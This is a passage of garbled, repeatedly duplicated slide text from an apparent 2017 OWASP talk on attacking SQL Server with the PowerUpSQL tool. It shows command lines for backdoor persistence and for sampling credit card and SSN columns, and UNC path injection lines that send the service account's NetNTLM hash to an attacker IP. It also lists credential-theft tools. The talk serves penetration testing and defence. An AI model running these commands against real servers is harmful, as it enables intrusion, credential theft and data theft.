tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 81: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 82: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 83: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
